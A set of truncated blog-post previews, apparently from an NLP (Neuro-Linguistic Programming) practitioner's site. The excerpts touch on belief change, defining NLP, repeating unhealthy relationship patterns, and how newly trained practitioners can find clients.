If you have done a lot of work on yourself, or are yourself a practitioner, you are probably already familiar with belief change work. Our beliefs are like a road map to our lives. We create most of them before the age of ten, and after that we keep adding some new beliefs based on our current life experience. However the most powerful of our beliefs are the ones we form in our earliest years

I keep finding that one of the most tricky question to answer is What is NLP? I’ve been an NLP practitioner for about a decade now, and I still don’t like being asked that question! You can describe NLP in a lot of different ways, and that’s probably what makes it challenging. Also the name in itself is a little bit nebulous: Neuro-Linguistic Programming. What on earth?!!! I heard one of the creator of NLP,

I was talking to a client this week about relationships and we started to explore the reasons why we – as human beings – often put ourselves in situations we know are not good for us. Have you noticed actually how often and1. what’s familiar and what our brain knows best and neuroplasticity 2. reinforcing the script – we don’t know anything else and it reinforces our beliefs and our identity 3.

Have you ever wondered how to get new clients? One of the most common question students ask me towards the end of their practitioner course is “How do I find clients?” It can be indeed quite scary once you’ve graduated to start from scratch in building your practice.
